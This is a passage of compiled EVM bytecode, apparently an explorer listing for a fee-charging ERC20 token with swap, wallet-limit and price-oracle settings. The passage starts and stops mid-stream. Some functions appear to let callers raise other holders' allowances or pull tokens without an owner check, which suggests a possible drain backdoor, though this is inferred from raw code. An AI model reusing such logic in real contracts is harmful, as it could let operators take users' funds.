0160a01b0392909216919091179055565b6005546000906001600160a01b031633146117665760405162461bcd60e51b8152600401610a2e90612d47565b620186a061177360025490565b61177e906001612d92565b6117889190612da9565b8210156117f55760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610a2e565b6103e861180160025490565b61180c906005612d92565b6118169190612da9565b8211156118825760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610a2e565b50600d81905560015b919050565b60006118a2833084610cca8730611972565b50600192915050565b600a546001600160a01b031633146118c257600080fd5b30600090815260208190526040902054610c239061243d565b6005546001600160a01b031633146119055760405162461bcd60e51b8152600401610a2e90612d47565b601d54600160a01b900460ff1615156001146119635760405162461bcd60e51b815260206004820152601d60248201527f7072696365206f7261636c6520616c72656164792064697361626c65640000006044820152606401610a2e565b601d805460ff60a01b19169055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6001600160a01b0383166119f35760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f7420626520300000000000006044820152606401610a2e565b6040805160028082526060820183526000926020830190803683375050600654604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015611a5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a819190612dde565b81600081518110611a9457611a94612ff8565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110611ac857611ac8612ff8565b6001600160a01b03909216602092830291909101820152336000908152601a909152604090205460ff1615611ba457836001600160a01b03166323b872dd8483600181518110611b1a57611b1a612ff8565b60209081029190910101516040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604481018590526064016020604051808303816000875af1158015611b79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b9d919061300e565b5050505050565b60065460405163b6f9de9560e01b81526001600160a01b039091169063b6f9de95908490611bdf90600090869061dead90429060040161306f565b6000604051808303818588803b158015611bf857600080fd5b505af1158015611c0c573d6000803e3d6000fd5b505050505050505050565b6005546001600160a01b03163314611c415760405162461bcd60e51b8152600401610a2e90612d47565b6001600160a01b038116611ca65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a2e565b610c83816123bd565b6005546001600160a01b03163314611cd95760405162461bcd60e51b8152600401610a2e90612d47565b611ceb81670de0b6b3a7640000612597565b601e5550565b6001600160a01b038316611d535760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a2e565b6001600160a01b038216611db45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a2e565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000611e218484611972565b90506000198114611e895781811015611e7c5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610a2e565b611e898484848403611cf1565b50505050565b6001600160a01b0383166000908152601a602052604081205460ff1680611ece57506001600160a01b0383166000908152601a602052604090205460ff165b90506001600160a01b038416611ef65760405162461bcd60e51b8152600401610a2e906130a4565b6001600160a01b038316611f1c5760405162461bcd60e51b8152600401610a2e906130e9565b81600003611f3057611e89848460006125aa565b6008546000906001600160a01b038681169116148015611f6957506001600160a01b0384166000908152601b602052604090205460ff16155b6008549091506000906001600160a01b038681169116148015611fa557506001600160a01b0386166000908152601b602052604090205460ff16155b90506000611fbb6005546001600160a01b031690565b6001600160a01b0316876001600160a01b03161480611fe757506005546001600160a01b038781169116145b905060006001600160a01b038716158061200b57506001600160a01b03871661dead145b9050600082806120185750815b8061202c5750600854600160a01b900460ff165b600f5490915060ff16801561203f575080155b1561223757600f54610100900460ff16806120575750855b61209c5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610a2e565b841561218157600c548711156121125760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610a2e565b600e546001600160a01b0389166000908152602081905260409020546121389089612dcb565b111561217c5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610a2e565b612237565b83612237576001600160a01b0388166000908152601b602052604090205460ff161580156121c857506001600160a01b0389166000908152601b602052604090205460ff16155b1561223757600e546001600160a01b0389166000908152602081905260409020546121f39089612dcb565b11156122375760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610a2e565b6001600160a01b0389166000908152601f602052604090205460ff1615612298576001600160a01b0388166000908152601060205260408120549003612293576001600160a01b03881660009081526010602052604090204290555b6122cc565b600854600160a01b900460ff166122cc57600f805462010000600160b01b031916620100006001600160a01b038c16021790555b600854600160a01b900460ff161580156122ff57506001600160a01b0389166000908152601f602052604090205460ff16155b801561232457506001600160a01b0389166000908152601a602052604090205460ff16155b801561234957506001600160a01b0388166000908152601a602052604090205460ff16155b156123b05730600090815260208190526040902054600d5481101561236c6126fe565b80156123755750805b801561237f575087155b156123ad576008805460ff60a01b1916600160a01b17905561239f61271a565b6008805460ff60a01b191690555b50505b611c0c8989898789612947565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152601f60205260409020805460ff191682151517905561133382826110f0565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061247257612472612ff8565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156124cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124ef9190612dde565b8160018151811061250257612502612ff8565b6001600160a01b0392831660209182029290920101526006546125289130911684611cf1565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061256190859060009086903090429060040161312c565b600060405180830381600087803b15801561257b57600080fd5b505af115801561258f573d6000803e3d6000fd5b505050505050565b60006125a38284612d92565b9392505050565b6001600160a01b0383166125d05760405162461bcd60e51b8152600401610a2e906130a4565b6001600160a01b0382166125f65760405162461bcd60e51b8152600401610a2e906130e9565b6001600160a01b0383166000908152602081905260409020548181101561266e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610a2e565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906126a5908490612dcb565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126f191815260200190565b60405180910390a3611e89565b600080612709610cd9565b116127145750600090565b50600190565b30600090815260208190526040812054905060006018546017546019546127419190612dcb565b61274b9190612dcb565b9050811580612758575080155b15612761575050565b600d5482111561277157600d5491505b6000600282601954856127849190612d92565b61278e9190612da9565b6127989190612da9565b905060006127a68483612a80565b9050476127b28261243d565b60006127be4783612a80565b905060006127e1866127db6017548561259790919063ffffffff16565b90612a8c565b905060006127fe876127db6018548661259790919063ffffffff16565b905060008161280d8486613168565b6128179190613168565b90506000871180156128295750600081115b1561287c576128388782612a98565b601954604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6000601981905560178190556018819055600a546040516001600160a01b039091169085908381818185875af1925050503d80600081146128d9576040519150601f19603f3d011682016040523d82523d6000602084013e6128de565b606091505b5050600b546040519192506000916001600160a01b039091169085908381818185875af1925050503d8060008114612932576040519150601f19603f3d011682016040523d82523d6000602084013e612937565b606091505b5050505050505050505050505050565b6000612953868661136f565b90508015612a7557601154601254841561298c576015546011546129779190612dcb565b91506015546012546129899190612dcb565b90505b83156129b7576016546011546129a29190612dcb565b91506016546012546129b49190612dcb565b90505b60006129c860646127db8986612597565b905082601354826129d99190612d92565b6129e39190612da9565b601960008282546129f49190612dcb565b90915550839050612a058383612d92565b612a0f9190612da9565b60176000828254612a209190612dcb565b90915550506014548390612a349083612d92565b612a3e9190612da9565b60186000828254612a4f9190612dcb565b90915550508015612a6557612a658930836125aa565b612a6f8188613168565b96505050505b61258f8686866125aa565b60006125a38284613168565b60006125a38284612da9565b600654612ab09030906001600160a01b031684611cf1565b6006546001600160a01b031663f305d719823085600080612ad96005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612b41573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b9d919061317b565b600060208083528351808285015260005b81811015612b9357858101830151858201604001528201612b77565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c8357600080fd5b60008060408385031215612bdc57600080fd5b8235612be781612bb4565b946020939093013593505050565b600060208284031215612c0757600080fd5b5035919050565b600080600060608486031215612c2357600080fd5b505081359360208301359350604090920135919050565b600080600060608486031215612c4f57600080fd5b8335612c5a81612bb4565b92506020840135612c6a81612bb4565b929592945050506040919091013590565b600060208284031215612c8d57600080fd5b81356125a381612bb4565b8015158114610c8357600080fd5b60008060408385031215612cb957600080fd5b8235612cc481612bb4565b91506020830135612cd481612c98565b809150509250929050565b60008060408385031215612cf257600080fd5b8235612cfd81612bb4565b91506020830135612cd481612bb4565b600181811c90821680612d2157607f821691505b602082108103612d4157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176109fe576109fe612d7c565b600082612dc657634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156109fe576109fe612d7c565b600060208284031215612df057600080fd5b81516125a381612bb4565b600060208284031215612e0d57600080fd5b5051919050565b80516001600160701b038116811461188b57600080fd5b600080600060608486031215612e4057600080fd5b612e4984612e14565b9250612e5760208501612e14565b9150604084015163ffffffff81168114612e7057600080fd5b809150509250925092565b805169ffffffffffffffffffff8116811461188b57600080fd5b600080600080600060a08688031215612ead57600080fd5b612eb686612e7b565b9450602086015193506040860151925060608601519150612ed960808701612e7b565b90509295509295909350565b600060208284031215612ef757600080fd5b815160ff811681146125a357600080fd5b600181815b80851115612f43578160001904821115612f2957612f29612d7c565b80851615612f3657918102915b93841c9390800290612f0d565b509250929050565b600082612f5a575060016109fe565b81612f67575060006109fe565b8160018114612f7d5760028114612f8757612fa3565b60019150506109fe565b60ff841115612f9857612f98612d7c565b50506001821b6109fe565b5060208310610133831016604e8410600b8410161715612fc6575081810a6109fe565b612fd08383612f08565b8060001904821115612fe457612fe4612d7c565b029392505050565b60006125a38383612f4b565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561302057600080fd5b81516125a381612c98565b600081518084526020808501945080840160005b838110156130645781516001600160a01b03168752958201959082019060010161303f565b509495945050505050565b848152608060208201526000613088608083018661302b565b6001600160a01b03949094166040830152506060015292915050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b85815284602082015260a06040820152600061314b60a083018661302b565b6001600160a01b0394909416606083015250608001529392505050565b818103818111156109fe576109fe612d7c565b60008060006060848603121561319057600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212200dc1822fa7ab843c33cf7c46e1663cd15092b277a80ecd11b45254f5dfabcdc864736f6c634300081100334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572
Deployed Bytecode
0x6080604052600436106102e85760003560e01c80638a8c523c11610190578063c18bc195116100dc578063dd1e1ca911610095578063eb81c3681161006f578063eb81c368146108e2578063f2fde38b14610902578063fea4fa4d14610922578063fefa5ce31461093857600080fd5b8063dd1e1ca914610893578063dd62ed3e146108a8578063e73b90cd146108c857600080fd5b8063c18bc195146107e9578063c862c28b14610809578063cb94a3701461081e578063d257b34f1461083e578063d74fc4281461085e578063dc56914d1461087e57600080fd5b8063a1cd15e811610149578063ae76b09011610123578063ae76b09014610757578063b1d920851461076c578063b62496f514610799578063c0246668146107c957600080fd5b8063a1cd15e8146106f7578063a457c2d714610717578063a9059cbb1461073757600080fd5b80638a8c523c146106235780638da5cb5b146106385780638e15f4731461065657806395d89b41146106a25780639a7a23d6146106b75780639c74daf0146106d757600080fd5b8063315097861161024f5780636d77ecd111610208578063751039fc116101e2578063751039fc146105b85780637571336a146105cd578063777dfe24146105ed57806382247ec01461060d57600080fd5b80636d77ecd11461054d57806370a082311461056d578063715018a6146105a357600080fd5b80633150978614610495578063339578fe146104aa57806339509351146104bf5780634b94f50e146104df5780634fbee193146104f4578063583e05681461052d57600080fd5b806322429085116102a157806322429085146103e457806323b872dd1461040457806323bf4c861461042457806327f4d7d5146104445780632fd689e314610463578063313ce5671461047957600080fd5b806304beaeb8146102f4578063055ad42e1461031d57806306fdde031461035b578063095ea7b31461037d57806318160ddd146103ad578063203e727e146103c257600080fd5b366102ef57005b600080fd5b34801561030057600080fd5b5061030a600c5481565b6040519081526020015b60405180910390f35b34801561032957600080fd5b50600f54610343906201000090046001600160a01b031681565b6040516001600160a01b039091168152602001610314565b34801561036757600080fd5b50610370610958565b6040516103149190612b66565b34801561038957600080fd5b5061039d610398366004612bc9565b6109ea565b6040519015158152602001610314565b3480156103b957600080fd5b5060025461030a565b3480156103ce57600080fd5b506103e26103dd366004612bf5565b610a04565b005b3480156103f057600080fd5b506103e26103ff366004612c0e565b610aea565b34801561041057600080fd5b5061039d61041f366004612c3a565b610b92565b34801561043057600080fd5b506103e261043f366004612c7b565b610bb6565b34801561045057600080fd5b50600f5461039d90610100900460ff1681565b34801561046f57600080fd5b5061030a600d5481565b34801561048557600080fd5b5060405160128152602001610314565b3480156104a157600080fd5b506103e2610c0c565b3480156104b657600080fd5b506103e2610c86565b3480156104cb57600080fd5b5061039d6104da366004612bc9565b610cb7565b3480156104eb57600080fd5b5061030a610cd9565b34801561050057600080fd5b5061039d61050f366004612c7b565b6001600160a01b03166000908152601a602052604090205460ff1690565b34801561053957600080fd5b50600654610343906001600160a01b031681565b34801561055957600080fd5b50601d54610343906001600160a01b031681565b34801561057957600080fd5b5061030a610588366004612c7b565b6001600160a01b031660009081526020819052604090205490565b3480156105af57600080fd5b506103e261107d565b3480156105c457600080fd5b5061039d6110b3565b3480156105d957600080fd5b506103e26105e8366004612ca6565b6110f0565b3480156105f957600080fd5b506103e2610608366004612c7b565b611145565b34801561061957600080fd5b5061030a600e5481565b34801561062f57600080fd5b506103e2611191565b34801561064457600080fd5b506005546001600160a01b0316610343565b34801561066257600080fd5b5061066b6111d0565b6040805169ffffffffffffffffffff968716815260208101959095528401929092526060830152909116608082015260a001610314565b3480156106ae57600080fd5b5061037061126c565b3480156106c357600080fd5b506103e26106d2366004612ca6565b61127b565b3480156106e357600080fd5b50600854610343906001600160a01b031681565b34801561070357600080fd5b5061039d610712366004612cdf565b61136f565b34801561072357600080fd5b5061039d610732366004612bc9565b611440565b34801561074357600080fd5b5061039d610752366004612bc9565b6114bb565b34801561076357600080fd5b506103e26114c9565b34801561077857600080fd5b5061030a610787366004612c7b565b60106020526000908152604090205481565b3480156107a557600080fd5b5061039d6107b4366004612c7b565b601f6020526000908152604090205460ff1681565b3480156107d557600080fd5b506103e26107e4366004612ca6565b6114fa565b3480156107f557600080fd5b506103e2610804366004612bf5565b611583565b34801561081557600080fd5b506103e2611654565b34801561082a57600080fd5b506103e2610839366004612c7b565b6116ed565b34801561084a57600080fd5b5061039d610859366004612bf5565b611739565b34801561086a57600080fd5b5061039d610879366004612bc9565b611890565b34801561088a57600080fd5b506103e26118ab565b34801561089f57600080fd5b506103e26118db565b3480156108b457600080fd5b5061030a6108c3366004612cdf565b611972565b3480156108d457600080fd5b50600f5461039d9060ff1681565b3480156108ee57600080fd5b506103e26108fd366004612c3a565b61199d565b34801561090e57600080fd5b506103e261091d366004612c7b565b611c17565b34801561092e57600080fd5b5061030a60115481565b34801561094457600080fd5b506103e2610953366004612bf5565b611caf565b60606003805461096790612d0d565b80601f016020809104026020016040519081016040528092919081815260200182805461099390612d0d565b80156109e05780601f106109b5576101008083540402835291602001916109e0565b820191906000526020600020905b8154815290600101906020018083116109c357829003601f168201915b5050505050905090565b6000336109f8818585611cf1565b60019150505b92915050565b6005546001600160a01b03163314610a375760405162461bcd60e51b8152600401610a2e90612d47565b60405180910390fd5b670de0b6b3a76400006103e8610a4c60025490565b610a57906001612d92565b610a619190612da9565b610a6b9190612da9565b811015610ad25760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610a2e565b610ae481670de0b6b3a7640000612d92565b600c5550565b6005546001600160a01b03163314610b145760405162461bcd60e51b8152600401610a2e90612d47565b60128390556014829055601381905580610b2e8385612dcb565b610b389190612dcb565b6011819055600a1015610b8d5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610a2e565b505050565b600033610ba0858285611e15565b610bab858585611e8f565b506001949350505050565b6005546001600160a01b03163314610be05760405162461bcd60e51b8152600401610a2e90612d47565b601d80546001600160a01b039092166001600160a01b03199283168117909155601c8054909216179055565b600a546001600160a01b03163314610c2357600080fd5b600a546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610c70576040519150601f19603f3d011682016040523d82523d6000602084013e610c75565b606091505b5050905080610c8357600080fd5b50565b6005546001600160a01b03163314610cb05760405162461bcd60e51b8152600401610a2e90612d47565b6000601655565b6000336109f8818585610cca8383611972565b610cd49190612dcb565b611cf1565b600080600860009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d539190612dde565b90506000600860009054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa158015610daa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dce9190612dde565b6007549091506001600160a01b03161580610e55575060075460408051636d11ad9160e11b815290516000926001600160a01b03169163da235b22916004808301926020929190829003018187875af1158015610e2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e539190612dfb565b115b610e5e57600080fd5b600080600860009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610eb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed89190612e2b565b50601e54601d5492945090925090600160a01b900460ff1615610f5f57306001600160a01b0316638e15f4736040518163ffffffff1660e01b815260040160a060405180830381865afa158015610f33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f579190612e95565b509193505050505b6000846001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc39190612ee5565b60ff16866001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015611004573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110289190612ee5565b6110369060ff16600a612fec565b611049846001600160701b038716612d92565b6110539190612d92565b61105d9190612da9565b90506110726001600160701b03851682612da9565b965050505050505090565b6005546001600160a01b031633146110a75760405162461bcd60e51b8152600401610a2e90612d47565b6110b160006123bd565b565b6005546000906001600160a01b031633146110e05760405162461bcd60e51b8152600401610a2e90612d47565b50600f805460ff19169055600190565b6005546001600160a01b0316331461111a5760405162461bcd60e51b8152600401610a2e90612d47565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461116f5760405162461bcd60e51b8152600401610a2e90612d47565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146111bb5760405162461bcd60e51b8152600401610a2e90612d47565b600f805461ff00191661010017905542600955565b600080600080600080600080600080601c60009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa158015611232573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112569190612e95565b939e929d50909b50995090975095505050505050565b60606004805461096790612d0d565b6005546001600160a01b031633146112a55760405162461bcd60e51b8152600401610a2e90612d47565b6008546001600160a01b03908116908316036113295760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610a2e565b611333828261240f565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b60085460009081906001600160a01b03858116911614801561139f57506006546001600160a01b03848116911614155b6001600160a01b0385166000908152601a60205260408120549192509060ff16806113e257506001600160a01b0384166000908152601a602052604090205460ff165b6008549091506001600160a01b03858116911614600083806114015750815b6011549091501580159081906114215750600854600160a01b900460ff16155b801561142b575083155b80156114345750815b98975050505050505050565b6000338161144e8286611972565b9050838110156114ae5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610a2e565b610bab8286868403611cf1565b6000336109f8818585611e8f565b6005546001600160a01b031633146114f35760405162461bcd60e51b8152600401610a2e90612d47565b6000601555565b6005546001600160a01b031633146115245760405162461bcd60e51b8152600401610a2e90612d47565b6001600160a01b0382166000818152601a6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146115ad5760405162461bcd60e51b8152600401610a2e90612d47565b670de0b6b3a76400006103e86115c260025490565b6115cd906005612d92565b6115d79190612da9565b6115e19190612da9565b81101561163c5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610a2e565b61164e81670de0b6b3a7640000612d92565b600e5550565b6005546001600160a01b0316331461167e5760405162461bcd60e51b8152600401610a2e90612d47565b601d54600160a01b900460ff16156116d85760405162461bcd60e51b815260206004820152601c60248201527f7072696365206f7261636c6520616c726561647920656e61626c6564000000006044820152606401610a2e565b601d805460ff60a01b1916600160a01b179055565b6005546001600160a01b031633146117175760405162461bcd60e51b8152600401610a2e90612d47565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546000906001600160a01b031633146117665760405162461bcd60e51b8152600401610a2e90612d47565b620186a061177360025490565b61177e906001612d92565b6117889190612da9565b8210156117f55760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610a2e565b6103e861180160025490565b61180c906005612d92565b6118169190612da9565b8211156118825760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610a2e565b50600d81905560015b919050565b60006118a2833084610cca8730611972565b50600192915050565b600a546001600160a01b031633146118c257600080fd5b30600090815260208190526040902054610c239061243d565b6005546001600160a01b031633146119055760405162461bcd60e51b8152600401610a2e90612d47565b601d54600160a01b900460ff1615156001146119635760405162461bcd60e51b815260206004820152601d60248201527f7072696365206f7261636c6520616c72656164792064697361626c65640000006044820152606401610a2e565b601d805460ff60a01b19169055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6001600160a01b0383166119f35760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f7420626520300000000000006044820152606401610a2e565b6040805160028082526060820183526000926020830190803683375050600654604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015611a5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a819190612dde565b81600081518110611a9457611a94612ff8565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110611ac857611ac8612ff8565b6001600160a01b03909216602092830291909101820152336000908152601a909152604090205460ff1615611ba457836001600160a01b03166323b872dd8483600181518110611b1a57611b1a612ff8565b60209081029190910101516040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604481018590526064016020604051808303816000875af1158015611b79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b9d919061300e565b5050505050565b60065460405163b6f9de9560e01b81526001600160a01b039091169063b6f9de95908490611bdf90600090869061dead90429060040161306f565b6000604051808303818588803b158015611bf857600080fd5b505af1158015611c0c573d6000803e3d6000fd5b505050505050505050565b6005546001600160a01b03163314611c415760405162461bcd60e51b8152600401610a2e90612d47565b6001600160a01b038116611ca65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a2e565b610c83816123bd565b6005546001600160a01b03163314611cd95760405162461bcd60e51b8152600401610a2e90612d47565b611ceb81670de0b6b3a7640000612597565b601e5550565b6001600160a01b038316611d535760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a2e565b6001600160a01b038216611db45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a2e565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000611e218484611972565b90506000198114611e895781811015611e7c5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610a2e565b611e898484848403611cf1565b50505050565b6001600160a01b0383166000908152601a602052604081205460ff1680611ece57506001600160a01b0383166000908152601a602052604090205460ff165b90506001600160a01b038416611ef65760405162461bcd60e51b8152600401610a2e906130a4565b6001600160a01b038316611f1c5760405162461bcd60e51b8152600401610a2e906130e9565b81600003611f3057611e89848460006125aa565b6008546000906001600160a01b038681169116148015611f6957506001600160a01b0384166000908152601b602052604090205460ff16155b6008549091506000906001600160a01b038681169116148015611fa557506001600160a01b0386166000908152601b602052604090205460ff16155b90506000611fbb6005546001600160a01b031690565b6001600160a01b0316876001600160a01b03161480611fe757506005546001600160a01b038781169116145b905060006001600160a01b038716158061200b57506001600160a01b03871661dead145b9050600082806120185750815b8061202c5750600854600160a01b900460ff165b600f5490915060ff16801561203f575080155b1561223757600f54610100900460ff16806120575750855b61209c5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610a2e565b841561218157600c548711156121125760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610a2e565b600e546001600160a01b0389166000908152602081905260409020546121389089612dcb565b111561217c5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610a2e565b612237565b83612237576001600160a01b0388166000908152601b602052604090205460ff161580156121c857506001600160a01b0389166000908152601b602052604090205460ff16155b1561223757600e546001600160a01b0389166000908152602081905260409020546121f39089612dcb565b11156122375760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610a2e565b6001600160a01b0389166000908152601f602052604090205460ff1615612298576001600160a01b0388166000908152601060205260408120549003612293576001600160a01b03881660009081526010602052604090204290555b6122cc565b600854600160a01b900460ff166122cc57600f805462010000600160b01b031916620100006001600160a01b038c16021790555b600854600160a01b900460ff161580156122ff57506001600160a01b0389166000908152601f602052604090205460ff16155b801561232457506001600160a01b0389166000908152601a602052604090205460ff16155b801561234957506001600160a01b0388166000908152601a602052604090205460ff16155b156123b05730600090815260208190526040902054600d5481101561236c6126fe565b80156123755750805b801561237f575087155b156123ad576008805460ff60a01b1916600160a01b17905561239f61271a565b6008805460ff60a01b191690555b50505b611c0c8989898789612947565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152601f60205260409020805460ff191682151517905561133382826110f0565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061247257612472612ff8565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156124cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124ef9190612dde565b8160018151811061250257612502612ff8565b6001600160a01b0392831660209182029290920101526006546125289130911684611cf1565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061256190859060009086903090429060040161312c565b600060405180830381600087803b15801561257b57600080fd5b505af115801561258f573d6000803e3d6000fd5b505050505050565b60006125a38284612d92565b9392505050565b6001600160a01b0383166125d05760405162461bcd60e51b8152600401610a2e906130a4565b6001600160a01b0382166125f65760405162461bcd60e51b8152600401610a2e906130e9565b6001600160a01b0383166000908152602081905260409020548181101561266e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610a2e565b6001600160a01b038085166000908152602081905260408082208585039055918516815290